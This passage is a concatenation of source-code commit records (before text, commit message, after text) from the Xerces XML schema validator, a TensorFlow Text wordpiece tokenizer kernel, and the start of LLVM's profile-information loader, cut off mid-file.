false;\n}\n\n\/**\n * End of file SubstitutionGroupComparator.cpp\n *\/\n\n<commit_msg>Schema fix: Initialize the temporary string as null terminated.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n * Copyright (c) 2001 The Apache Software Foundation. All rights\n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment:\n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xerces\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written\n * permission, please contact apache\\@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor may \"Apache\" appear in their name, without prior written\n * permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation, and was\n * originally based on software copyright (c) 2001, International\n * Business Machines, Inc., http:\/\/www.ibm.com . For more information\n * on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n\/*\n * $Log$\n * Revision 1.11 2001\/11\/28 16:46:03 tng\n * Schema fix: Initialize the temporary string as null terminated.\n *\n * Revision 1.10 2001\/11\/21 14:30:13 knoaman\n * Fix for UPA checking.\n *\n * Revision 1.9 2001\/11\/07 21:50:28 tng\n * Fix comment log that lead to error.\n *\n * Revision 1.8 2001\/11\/07 21:12:15 tng\n * Performance: Create QName in ContentSpecNode only if it is a leaf\/Any\/PCDataNode.\n *\n * Revision 1.7 2001\/10\/04 15:08:56 knoaman\n * Add support for circular import.\n *\n * Revision 1.6 2001\/08\/21 15:57:51 tng\n * Schema: Add isAllowedByWildcard. Help from James Murphy.\n *\n * Revision 1.5 2001\/05\/29 19:47:22 knoaman\n * Fix bug - memory was not allocated before call to XMLString::subString\n *\n * Revision 1.4 2001\/05\/28 20:55:42 tng\n * Schema: Null pointer checking in SubsitutionGropuComparator\n *\n * Revision 1.3 2001\/05\/11 13:27:37 tng\n * Copyright update.\n *\n * Revision 1.2 2001\/05\/04 14:50:28 tng\n * Fixed the cvs symbols.\n *\n *\n *\/\n\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Includes\n\/\/ ---------------------------------------------------------------------------\n#include <validators\/schema\/SubstitutionGroupComparator.hpp>\n#include <validators\/common\/Grammar.hpp>\n#include <validators\/schema\/SchemaGrammar.hpp>\n#include <validators\/schema\/ComplexTypeInfo.hpp>\n#include <validators\/schema\/SchemaSymbols.hpp>\n\nbool SubstitutionGroupComparator::isEquivalentTo(QName* const anElement\n , QName* const exemplar)\n{\n if (!anElement && !exemplar)\n return true;\n\n if ((!anElement && exemplar) || (anElement && !exemplar))\n return false;\n\n\n if ((XMLString::compareString(anElement->getLocalPart(), exemplar->getLocalPart()) == 0) &&\n (anElement->getURI() == exemplar->getURI()))\n return true; \/\/ they're the same!\n\n if (!fGrammarResolver || !fStringPool )\n {\n ThrowXML(RuntimeException, XMLExcepts::SubGrpComparator_NGR);\n }\n\n unsigned int uriId = anElement->getURI();\n if (uriId == XMLContentModel::gEOCFakeId ||\n uriId == XMLContentModel::gEpsilonFakeId ||\n uriId == XMLElementDecl::fgPCDataElemId)\n return false;\n\n const XMLCh* uri = fStringPool->getValueForId(uriId);\n const XMLCh* localpart = anElement->getLocalPart();\n\n \/\/ In addition to simply trying to find a chain between anElement and exemplar,\n \/\/ we need to make sure that no steps in the chain are blocked.\n \/\/ That is, at every step, we need to make sure that the element\n \/\/ being substituted for will permit being substituted\n \/\/ for, and whether the type of the element will permit derivations in\n \/\/ instance documents of this sort.\n\n if (!uri)\n return false;\n\n SchemaGrammar *sGrammar = (SchemaGrammar*) fGrammarResolver->getGrammar(uri);\n if (!sGrammar || sGrammar->getGrammarType() == Grammar::DTDGrammarType)\n return false;\n\n SchemaElementDecl* pElemDecl = (SchemaElementDecl*) sGrammar->getElemDecl(uriId, localpart, 0, Grammar::TOP_LEVEL_SCOPE);\n if (!pElemDecl)\n return false;\n\n SchemaElementDecl* anElementDecl = pElemDecl; \/\/ to preserve the ElementDecl for anElement\n XMLCh* substitutionGroupFullName = pElemDecl->getSubstitutionGroupName();\n bool foundIt = false;\n\n while (substitutionGroupFullName)\n {\n int commaAt = XMLString::indexOf(substitutionGroupFullName, chComma);\n XMLCh tmpURI[256];\n tmpURI[0] = chNull;\n XMLCh tmpLocalpart[256];\n tmpLocalpart[0] = chNull;\n\n if (commaAt >= 0)\n {\n if (commaAt > 0)\n XMLString::subString(tmpURI, substitutionGroupFullName, 0, commaAt);\n\n XMLString::subString(tmpLocalpart, substitutionGroupFullName, commaAt+1, XMLString::stringLen(substitutionGroupFullName));\n }\n else {\n XMLString::subString(tmpLocalpart, substitutionGroupFullName, 0, XMLString::stringLen(substitutionGroupFullName));\n }\n\n sGrammar = (SchemaGrammar*) fGrammarResolver->getGrammar(tmpURI);\n if (!sGrammar || sGrammar->getGrammarType() == Grammar::DTDGrammarType)\n return false;\n\n uriId = fStringPool->addOrFind(tmpURI);\n pElemDecl = (SchemaElementDecl*) sGrammar->getElemDecl(uriId, tmpLocalpart, 0, Grammar::TOP_LEVEL_SCOPE);\n\n if (!pElemDecl)\n return false;\n\n if ((XMLString::compareString(tmpLocalpart, exemplar->getLocalPart()) == 0) &&\n (uriId == exemplar->getURI()))\n {\n \/\/ time to check for block value on element\n if((pElemDecl->getBlockSet() & SchemaSymbols::SUBSTITUTION) != 0)\n return false;\n\n foundIt = true;\n break;\n }\n\n substitutionGroupFullName = pElemDecl->getSubstitutionGroupName();\n }\/\/while\n\n if (!foundIt)\n return false;\n\n \/\/ this will contain anElement's complexType information.\n ComplexTypeInfo *aComplexType = anElementDecl->getComplexTypeInfo();\n int exemplarBlockSet = pElemDecl->getBlockSet();\n\n if(!aComplexType)\n {\n \/\/ check on simpleType case\n DatatypeValidator *anElementDV = anElementDecl->getDatatypeValidator();\n DatatypeValidator *exemplarDV = pElemDecl->getDatatypeValidator();\n\n return((anElementDV == 0) ||\n ((anElementDV == exemplarDV) ||\n ((exemplarBlockSet & SchemaSymbols::RESTRICTION) == 0)));\n }\n\n \/\/ now we have to make sure there are no blocks on the complexTypes that this is based upon\n int anElementDerivationMethod = aComplexType->getDerivedBy();\n if((anElementDerivationMethod & exemplarBlockSet) != 0)\n return false;\n\n \/\/ this will contain exemplar's complexType information.\n ComplexTypeInfo *exemplarComplexType = pElemDecl->getComplexTypeInfo();\n\n for(ComplexTypeInfo *tempType = aComplexType;\n tempType != 0 && tempType != exemplarComplexType;\n tempType = tempType->getBaseComplexTypeInfo())\n {\n if((tempType->getBlockSet() & anElementDerivationMethod) != 0)\n return false;\n }\/\/for\n\n return true;\n}\n\n\nbool SubstitutionGroupComparator::isAllowedByWildcard(SchemaGrammar* const pGrammar,\n QName* const element,\n unsigned int wuri, bool wother)\n{\n \/\/ whether the uri is allowed directly by the wildcard\n unsigned int uriId = element->getURI();\n\n if ((!wother && uriId == wuri) ||\n (wother && uriId != wuri && uriId != XMLContentModel::gEOCFakeId && uriId != XMLContentModel::gEpsilonFakeId))\n {\n return true;\n }\n\n \/\/ get all elements that can substitute the current element\n RefHash2KeysTableOf<ElemVector>* theValidSubstitutionGroups = pGrammar->getValidSubstitutionGroups();\n\n if (!theValidSubstitutionGroups)\n return false;\n\n ValueVectorOf<SchemaElementDecl*>* subsElements = theValidSubstitutionGroups->get(element->getLocalPart(), uriId);\n\n if (!subsElements)\n return false;\n\n \/\/ then check whether there exists one element that is allowed by the wildcard\n int size = subsElements->size();\n\n for (int i = 0; i < size; i++)\n {\n unsigned int subUriId = subsElements->elementAt(i)->getElementName()->getURI();\n\n if ((!wother && subUriId == wuri) ||\n (wother && subUriId != wuri && subUriId != XMLContentModel::gEOCFakeId && subUriId != XMLContentModel::gEpsilonFakeId))\n {\n return true;\n }\n }\n return false;\n}\n\n\/**\n * End of file SubstitutionGroupComparator.cpp\n *\/\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2019 TF.Text Authors.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <limits>\n#include <memory>\n#include <string>\n#include <vector>\n\n#include \"third_party\/absl\/base\/integral_types.h\"\n#include \"third_party\/tensorflow\/core\/framework\/lookup_interface.h\"\n#include \"third_party\/tensorflow\/core\/framework\/op_kernel.h\"\n#include \"third_party\/tensorflow\/core\/framework\/resource_mgr.h\"\n#include \"third_party\/tensorflow\/core\/framework\/tensor.h\"\n#include \"third_party\/tensorflow\/core\/framework\/tensor_shape.h\"\n#include \"third_party\/tensorflow\/core\/kernels\/lookup_util.h\"\n#include \"third_party\/tensorflow\/core\/lib\/core\/status.h\"\n#include \"third_party\/tensorflow\/core\/lib\/core\/threadpool.h\"\n#include \"third_party\/tensorflow\/core\/lib\/io\/path.h\"\n#include \"third_party\/tensorflow\/core\/platform\/logging.h\"\n#include \"third_party\/tensorflow_text\/core\/kernels\/wordpiece_tokenizer.h\"\n\nnamespace tensorflow {\nnamespace text {\n\nnamespace {\nstring GetWordSplitChar(OpKernelConstruction* ctx) {\n string suffix_indicator;\n ([=](string* c) -> void {\n OP_REQUIRES_OK(ctx, ctx->GetAttr(\"suffix_indicator\", c));\n })(&suffix_indicator);\n return suffix_indicator;\n}\n\nint32 GetMaxCharsPerWord(OpKernelConstruction* ctx) {\n int32 max_chars_per_word;\n ([=](int32* c) -> void {\n OP_REQUIRES_OK(ctx, ctx->GetAttr(\"max_bytes_per_word\", c));\n })(&max_chars_per_word);\n return max_chars_per_word;\n}\n\nbool GetShouldUseUnknownToken(OpKernelConstruction* ctx) {\n bool use_unknown_token;\n ([=](bool* c) -> void {\n OP_REQUIRES_OK(ctx, ctx->GetAttr(\"use_unknown_token\", c));\n })(&use_unknown_token);\n return use_unknown_token;\n}\n\nstring GetUnknownToken(OpKernelConstruction* ctx) {\n string unknown_token;\n ([=](string* c) -> void {\n OP_REQUIRES_OK(ctx, ctx->GetAttr(\"unknown_token\", c));\n })(&unknown_token);\n return unknown_token;\n}\n\n} \/\/ namespace\n\nclass WordpieceTokenizeWithOffsetsOp : public OpKernel {\n public:\n explicit WordpieceTokenizeWithOffsetsOp(OpKernelConstruction* ctx)\n : OpKernel(ctx),\n suffix_indicator_(GetWordSplitChar(ctx)),\n max_bytes_per_word_(GetMaxCharsPerWord(ctx)),\n use_unknown_token_(GetShouldUseUnknownToken(ctx)),\n unknown_token_(GetUnknownToken(ctx)) {}\n\n void Compute(OpKernelContext* ctx) override {\n const Tensor* input_values;\n OP_REQUIRES_OK(ctx, ctx->input(\"input_values\", &input_values));\n const auto& values_vec = input_values->flat<string>();\n\n lookup::LookupInterface* lookup_table;\n OP_REQUIRES_OK(\n ctx, lookup::GetLookupTable(\"vocab_lookup_table\", ctx, &lookup_table));\n LookupTableVocab vocab_map(lookup_table, ctx);\n\n std::vector<string> subwords;\n std::vector<int> begin_offset;\n std::vector<int> end_offset;\n std::vector<int> row_lengths;\n\n \/\/ Iterate through all the values and wordpiece tokenize them.\n for (int i = 0; i < values_vec.size(); ++i) {\n \/\/ Tokenize into subwords and record the offset locations.\n int num_wordpieces = 0;\n OP_REQUIRES_OK(\n ctx, WordpieceTokenize(values_vec(i), max_bytes_per_word_,\n suffix_indicator_, use_unknown_token_,\n unknown_token_, &vocab_map, &subwords,\n &begin_offset, &end_offset, &num_wordpieces));\n\n \/\/ Record the row splits.\n row_lengths.push_back(num_wordpieces);\n }\n\n std::vector<int64> output_subwords_shape;\n output_subwords_shape.push_back(subwords.size());\n\n std::vector<int64> output_row_lengths_shape;\n output_row_lengths_shape.push_back(row_lengths.size());\n\n Tensor* output_values;\n OP_REQUIRES_OK(ctx, ctx->allocate_output(\"output_values\",\n TensorShape(output_subwords_shape),\n &output_values));\n auto output_values_vec = output_values->vec<string>();\n\n Tensor* output_row_lengths;\n OP_REQUIRES_OK(ctx,\n ctx->allocate_output(\"output_row_lengths\",\n TensorShape(output_row_lengths_shape),\n &output_row_lengths));\n auto output_row_lengths_vec = output_row_lengths->vec<int64>();\n\n Tensor* start_values;\n OP_REQUIRES_OK(ctx, ctx->allocate_output(\"start_values\",\n TensorShape(output_subwords_shape),\n &start_values));\n auto start_values_vec = start_values->vec<int64>();\n\n Tensor* limit_values;\n OP_REQUIRES_OK(ctx, ctx->allocate_output(\"limit_values\",\n TensorShape(output_subwords_shape),\n &limit_values));\n auto limit_values_vec = limit_values->vec<int64>();\n\n for (int i = 0; i < subwords.size(); ++i) {\n output_values_vec(i) = subwords[i];\n }\n\n for (int i = 0; i < row_lengths.size(); ++i) {\n output_row_lengths_vec(i) = row_lengths[i];\n }\n\n for (int i = 0; i < begin_offset.size(); ++i) {\n start_values_vec(i) = begin_offset[i];\n }\n\n for (int i = 0; i < end_offset.size(); ++i) {\n limit_values_vec(i) = end_offset[i];\n }\n }\n\n private:\n const string suffix_indicator_;\n const int max_bytes_per_word_;\n const bool use_unknown_token_;\n const string unknown_token_;\n\n TF_DISALLOW_COPY_AND_ASSIGN(WordpieceTokenizeWithOffsetsOp);\n};\n\nREGISTER_KERNEL_BUILDER(Name(\"WordpieceTokenizeWithOffsets\").Device(DEVICE_CPU),\n WordpieceTokenizeWithOffsetsOp);\n\n} \/\/ namespace text\n} \/\/ namespace tensorflow\n<commit_msg>Internal change<commit_after>\/\/ Copyright 2019 TF.Text Authors.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <limits>\n#include <memory>\n#include <string>\n#include <vector>\n\n#include \"third_party\/absl\/base\/integral_types.h\"\n#include \"third_party\/tensorflow\/core\/framework\/lookup_interface.h\"\n#include \"third_party\/tensorflow\/core\/framework\/op_kernel.h\"\n#include \"third_party\/tensorflow\/core\/framework\/resource_mgr.h\"\n#include \"third_party\/tensorflow\/core\/framework\/tensor.h\"\n#include \"third_party\/tensorflow\/core\/framework\/tensor_shape.h\"\n#include \"third_party\/tensorflow\/core\/lib\/core\/status.h\"\n#include \"third_party\/tensorflow\/core\/lib\/core\/threadpool.h\"\n#include \"third_party\/tensorflow\/core\/lib\/io\/path.h\"\n#include \"third_party\/tensorflow\/core\/platform\/logging.h\"\n#include \"third_party\/tensorflow_text\/core\/kernels\/wordpiece_tokenizer.h\"\n\nnamespace tensorflow {\nnamespace text {\n\nnamespace {\nstring GetWordSplitChar(OpKernelConstruction* ctx) {\n string suffix_indicator;\n ([=](string* c) -> void {\n OP_REQUIRES_OK(ctx, ctx->GetAttr(\"suffix_indicator\", c));\n })(&suffix_indicator);\n return suffix_indicator;\n}\n\nint32 GetMaxCharsPerWord(OpKernelConstruction* ctx) {\n int32 max_chars_per_word;\n ([=](int32* c) -> void {\n OP_REQUIRES_OK(ctx, ctx->GetAttr(\"max_bytes_per_word\", c));\n })(&max_chars_per_word);\n return max_chars_per_word;\n}\n\nbool GetShouldUseUnknownToken(OpKernelConstruction* ctx) {\n bool use_unknown_token;\n ([=](bool* c) -> void {\n OP_REQUIRES_OK(ctx, ctx->GetAttr(\"use_unknown_token\", c));\n })(&use_unknown_token);\n return use_unknown_token;\n}\n\nstring GetUnknownToken(OpKernelConstruction* ctx) {\n string unknown_token;\n ([=](string* c) -> void {\n OP_REQUIRES_OK(ctx, ctx->GetAttr(\"unknown_token\", c));\n })(&unknown_token);\n return unknown_token;\n}\n\nStatus GetTableHandle(const string& input_name, OpKernelContext* ctx,\n string* container, string* table_handle) {\n {\n mutex* mu;\n TF_RETURN_IF_ERROR(ctx->input_ref_mutex(input_name, &mu));\n mutex_lock l(*mu);\n Tensor tensor;\n TF_RETURN_IF_ERROR(ctx->mutable_input(input_name, &tensor, true));\n if (tensor.NumElements() != 2) {\n return errors::InvalidArgument(\n \"Lookup table handle must be scalar, but had shape: \",\n tensor.shape().DebugString());\n }\n auto h = tensor.flat<string>();\n *container = h(0);\n *table_handle = h(1);\n }\n return Status::OK();\n}\n\n\/\/ Gets the LookupTable stored in the ctx->resource_manager() with key\n\/\/ passed by attribute with name input_name, returns null if the table\n\/\/ doesn't exist.\nStatus GetLookupTable(const string& input_name, OpKernelContext* ctx,\n lookup::LookupInterface** table) {\n string container;\n string table_handle;\n DataType handle_dtype;\n TF_RETURN_IF_ERROR(ctx->input_dtype(input_name, &handle_dtype));\n if (handle_dtype == DT_RESOURCE) {\n ResourceHandle handle;\n TF_RETURN_IF_ERROR(HandleFromInput(ctx, input_name, &handle));\n return LookupResource(ctx, handle, table);\n } else {\n TF_RETURN_IF_ERROR(\n GetTableHandle(input_name, ctx, &container, &table_handle));\n return ctx->resource_manager()->Lookup(container, table_handle, table);\n }\n}\n\n} \/\/ namespace\n\nclass WordpieceTokenizeWithOffsetsOp : public OpKernel {\n public:\n explicit WordpieceTokenizeWithOffsetsOp(OpKernelConstruction* ctx)\n : OpKernel(ctx),\n suffix_indicator_(GetWordSplitChar(ctx)),\n max_bytes_per_word_(GetMaxCharsPerWord(ctx)),\n use_unknown_token_(GetShouldUseUnknownToken(ctx)),\n unknown_token_(GetUnknownToken(ctx)) {}\n\n void Compute(OpKernelContext* ctx) override {\n const Tensor* input_values;\n OP_REQUIRES_OK(ctx, ctx->input(\"input_values\", &input_values));\n const auto& values_vec = input_values->flat<string>();\n\n lookup::LookupInterface* lookup_table;\n \/\/ MKH: subject to change....\n OP_REQUIRES_OK(ctx,\n GetLookupTable(\"vocab_lookup_table\", ctx, &lookup_table));\n LookupTableVocab vocab_map(lookup_table, ctx);\n\n std::vector<string> subwords;\n std::vector<int> begin_offset;\n std::vector<int> end_offset;\n std::vector<int> row_lengths;\n\n \/\/ Iterate through all the values and wordpiece tokenize them.\n for (int i = 0; i < values_vec.size(); ++i) {\n \/\/ Tokenize into subwords and record the offset locations.\n int num_wordpieces = 0;\n OP_REQUIRES_OK(\n ctx, WordpieceTokenize(values_vec(i), max_bytes_per_word_,\n suffix_indicator_, use_unknown_token_,\n unknown_token_, &vocab_map, &subwords,\n &begin_offset, &end_offset, &num_wordpieces));\n\n \/\/ Record the row splits.\n row_lengths.push_back(num_wordpieces);\n }\n\n std::vector<int64> output_subwords_shape;\n output_subwords_shape.push_back(subwords.size());\n\n std::vector<int64> output_row_lengths_shape;\n output_row_lengths_shape.push_back(row_lengths.size());\n\n Tensor* output_values;\n OP_REQUIRES_OK(ctx, ctx->allocate_output(\"output_values\",\n TensorShape(output_subwords_shape),\n &output_values));\n auto output_values_vec = output_values->vec<string>();\n\n Tensor* output_row_lengths;\n OP_REQUIRES_OK(ctx,\n ctx->allocate_output(\"output_row_lengths\",\n TensorShape(output_row_lengths_shape),\n &output_row_lengths));\n auto output_row_lengths_vec = output_row_lengths->vec<int64>();\n\n Tensor* start_values;\n OP_REQUIRES_OK(ctx, ctx->allocate_output(\"start_values\",\n TensorShape(output_subwords_shape),\n &start_values));\n auto start_values_vec = start_values->vec<int64>();\n\n Tensor* limit_values;\n OP_REQUIRES_OK(ctx, ctx->allocate_output(\"limit_values\",\n TensorShape(output_subwords_shape),\n &limit_values));\n auto limit_values_vec = limit_values->vec<int64>();\n\n for (int i = 0; i < subwords.size(); ++i) {\n output_values_vec(i) = subwords[i];\n }\n\n for (int i = 0; i < row_lengths.size(); ++i) {\n output_row_lengths_vec(i) = row_lengths[i];\n }\n\n for (int i = 0; i < begin_offset.size(); ++i) {\n start_values_vec(i) = begin_offset[i];\n }\n\n for (int i = 0; i < end_offset.size(); ++i) {\n limit_values_vec(i) = end_offset[i];\n }\n }\n\n private:\n const string suffix_indicator_;\n const int max_bytes_per_word_;\n const bool use_unknown_token_;\n const string unknown_token_;\n\n TF_DISALLOW_COPY_AND_ASSIGN(WordpieceTokenizeWithOffsetsOp);\n};\n\nREGISTER_KERNEL_BUILDER(Name(\"WordpieceTokenizeWithOffsets\").Device(DEVICE_CPU),\n WordpieceTokenizeWithOffsetsOp);\n\n} \/\/ namespace text\n} \/\/ namespace tensorflow\n<|endoftext|>"} {"text":"<commit_before>\/\/===- ProfileInfoLoad.cpp - Load profile information from disk -----------===\/\/\n\/\/ \n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ The ProfileInfoLoader class is used to load and represent profiling\n\/\/ information read in from the dump file.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Analysis\/ProfileInfoLoader.h\"\n#include \"llvm\/Analysis\/ProfileInfoTypes.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/InstrTypes.h\"\n#include <cstdio>\n#include <map>\nusing namespace llvm;\n\n\/\/ ByteSwap - Byteswap 'Var' if 'Really' is true.\n\/\/\nstatic inline unsigned ByteSwap(unsigned Var, bool Really) {\n if (!Really) return Var;\n return ((Var & (255<< 0)) << 24) | \n ((Var & (255<< 8)) << 8) | \n ((Var & (255<<16)) >> 8) | \n ((Var & (255<<24)) >> 24);\n}\n\nstatic void ReadProfilingBlock(const char *ToolName, FILE *F,\n bool ShouldByteSwap,\n std::vector<unsigned> &Data) {\n \/\/ Read the number of entries...\n unsigned NumEntries;\n if (fread(&NumEntries, sizeof(unsigned), 1, F) != 1) {\n std::cerr << ToolName << \": data packet truncated!\\n\";\n perror(0);\n exit(1);\n }\n NumEntries = ByteSwap(NumEntries, ShouldByteSwap);\n\n \/\/ Read the counts...\n std::vector<unsigned> TempSpace(NumEntries);\n\n \/\/ Read in the block of data...\n if (fread(&TempSpace[0], sizeof(unsigned)*NumEntries, 1, F) != 1) {\n std::cerr << ToolName << \": data packet truncated!\\n\";\n perror(0);\n exit(1);\n }\n\n \/\/ Make sure we have enough space...\n if (Data.size() < NumEntries)\n Data.resize(NumEntries);\n \n \/\/ Accumulate the data we just read into the data.\n if (!ShouldByteSwap) {\n for (unsigned i = 0; i != NumEntries; ++i)\n Data[i] += TempSpace[i];\n } else {\n for (unsigned i = 0; i != NumEntries; ++i)\n Data[i] += ByteSwap(TempSpace[i], true);\n }\n}\n\n\/\/ ProfileInfoLoader ctor - Read the specified profiling data file, exiting the\n\/\/ program if the file is invalid or broken.\n\/\/\nProfileInfoLoader::ProfileInfoLoader(const char *ToolName,\n const std::string &Filename,\n Module &TheModule) : M(TheModule) {\n FILE *F = fopen(Filename.c_str(), \"r\");\n if (F == 0) {\n std::cerr << ToolName << \": Error opening '\" << Filename << \"': \";\n perror(0);\n exit(1);\n }\n\n \/\/ Keep reading packets until we run out of them.\n unsigned PacketType;\n while (fread(&PacketType, sizeof(unsigned), 1, F) == 1) {\n \/\/ If the low eight bits of the packet are zero, we must be dealing with an\n \/\/ endianness mismatch. Byteswap all words read from the profiling\n \/\/ information.\n bool ShouldByteSwap = (char)PacketType == 0;\n PacketType = ByteSwap(PacketType, ShouldByteSwap);\n\n switch (PacketType) {\n case ArgumentInfo: {\n unsigned ArgLength;\n if (fread(&ArgLength, sizeof(unsigned), 1, F) != 1) {\n std::cerr << ToolName << \": arguments packet truncated!\\n\";\n perror(0);\n exit(1);\n }\n ArgLength = ByteSwap(ArgLength, ShouldByteSwap);\n\n \/\/ Read in the arguments...\n std::vector<char> Chars(ArgLength+4);\n\n if (ArgLength)\n if (fread(&Chars[0], (ArgLength+3) & ~3, 1, F) != 1) {\n std::cerr << ToolName << \": arguments packet truncated!\\n\";\n perror(0);\n exit(1);\n }\n CommandLines.push_back(std::string(&Chars[0], &Chars[ArgLength]));\n break;\n }\n \n case FunctionInfo:\n ReadProfilingBlock(ToolName, F, ShouldByteSwap, FunctionCounts);\n break;\n \n case BlockInfo:\n ReadProfilingBlock(ToolName, F, ShouldByteSwap, BlockCounts);\n break;\n\n case EdgeInfo:\n ReadProfilingBlock(ToolName, F, ShouldByteSwap, EdgeCounts);\n break;\n\n default:\n std::cerr << ToolName << \": Unknown packet type #\" << PacketType << \"!\\n\";\n exit(1);\n }\n }\n \n fclose(F);\n}\n\n\n\/\/ getFunctionCounts - This method is used by consumers of function counting\n\/\/ information. If we do not directly have function count information, we\n\/\/ compute it from other, more refined, types of profile information.\n\/\/\nvoid ProfileInfoLoader::getFunctionCounts(std::vector<std::pair<Function*,\n unsigned> > &Counts) {\n if (FunctionCounts.empty()) {\n if (hasAccurateBlockCounts()) {\n \/\/ Synthesize function frequency information from the number of times\n \/\/ their entry blocks were executed.\n std::vector<std::pair<BasicBlock*, unsigned> > BlockCounts;\n getBlockCounts(BlockCounts);\n \n for (unsigned i = 0, e = BlockCounts.size(); i != e; ++i)\n if (&BlockCounts[i].first->getParent()->front() == BlockCounts[i].first)\n Counts.push_back(std::make_pair(BlockCounts[i].first->getParent(),\n BlockCounts[i].second));\n } else {\n std::cerr << \"Function counts are not available!\\n\";\n }\n return;\n }\n \n unsigned Counter = 0;\n for (Module::iterator I = M.begin(), E = M.end();\n I != E && Counter != FunctionCounts.size(); ++I)\n if (!I->isExternal())\n Counts.push_back(std::make_pair(I, FunctionCounts[Counter++]));\n}\n\n\/\/ getBlockCounts - This method is used by consumers of block counting\n\/\/ information. If we do not directly have block count information, we\n\/\/ compute it from other, more refined, types of profile information.\n\/\/\nvoid ProfileInfoLoader::getBlockCounts(std::vector<std::pair<BasicBlock*,\n unsigned> > &Counts) {\n if (BlockCounts.empty()) {\n if (hasAccurateEdgeCounts()) {\n \/\/ Synthesize block count information from edge frequency information.\n \/\/ The block execution frequency is equal to the sum of the execution\n \/\/ frequency of all outgoing edges from a block.\n \/\/\n \/\/ If a block has no successors, this will not be correct, so we have to\n \/\/ special case it. :(\n std::vector<std::pair<Edge, unsigned> > EdgeCounts;\n getEdgeCounts(EdgeCounts);\n\n std::map<BasicBlock*, unsigned> InEdgeFreqs;\n\n BasicBlock *LastBlock = 0;\n TerminatorInst *TI = 0;\n for (unsigned i = 0, e = EdgeCounts.size(); i != e; ++i) {\n if (EdgeCounts[i].first.first != LastBlock) {\n LastBlock = EdgeCounts[i].first.first;\n TI = LastBlock->getTerminator();\n Counts.push_back(std::make_pair(LastBlock, 0));\n }\n Counts.back().second += EdgeCounts[i].second;\n unsigned SuccNum = EdgeCounts[i].first.second;\n if (SuccNum >= TI->getNumSuccessors()) {\n static bool Warned = false;\n if (!Warned) {\n std::cerr << \"WARNING: profile info doesn't seem to match\"\n << \" the program!\\n\";\n Warned = true;\n }\n } else {\n \/\/ If this successor has no successors of its own, we will never\n \/\/ compute an execution count for that block. Remember the incoming\n \/\/ edge frequencies to add later.\n BasicBlock *Succ = TI->getSuccessor(SuccNum);\n if (Succ->getTerminator()->getNumSuccessors() == 0)\n InEdgeFreqs[Succ] += EdgeCounts[i].second;\n }\n }\n\n \/\/ Now we have to accumulate information for those blocks without\n \/\/ successors into our table.\n for (std::map<BasicBlock*, unsigned>::iterator I = InEdgeFreqs.begin(),\n E = InEdgeFreqs.end(); I != E; ++I) {\n unsigned i = 0;\n for (; i != Counts.size() && Counts[i].first != I->first; ++i)\n \/*empty*\/;\n if (i == Counts.size()) Counts.push_back(std::make_pair(I->first, 0));\n Counts[i].second += I->second;\n }\n\n } else {\n std::cerr << \"Block counts are not available!\\n\";\n }\n return;\n }\n\n unsigned Counter = 0;\n for (Module::iterator F = M.begin(), E = M.end(); F != E; ++F)\n for (Function::iterator BB = F->begin(), E = F->end(); BB != E; ++BB) {\n Counts.push_back(std::make_pair(BB, 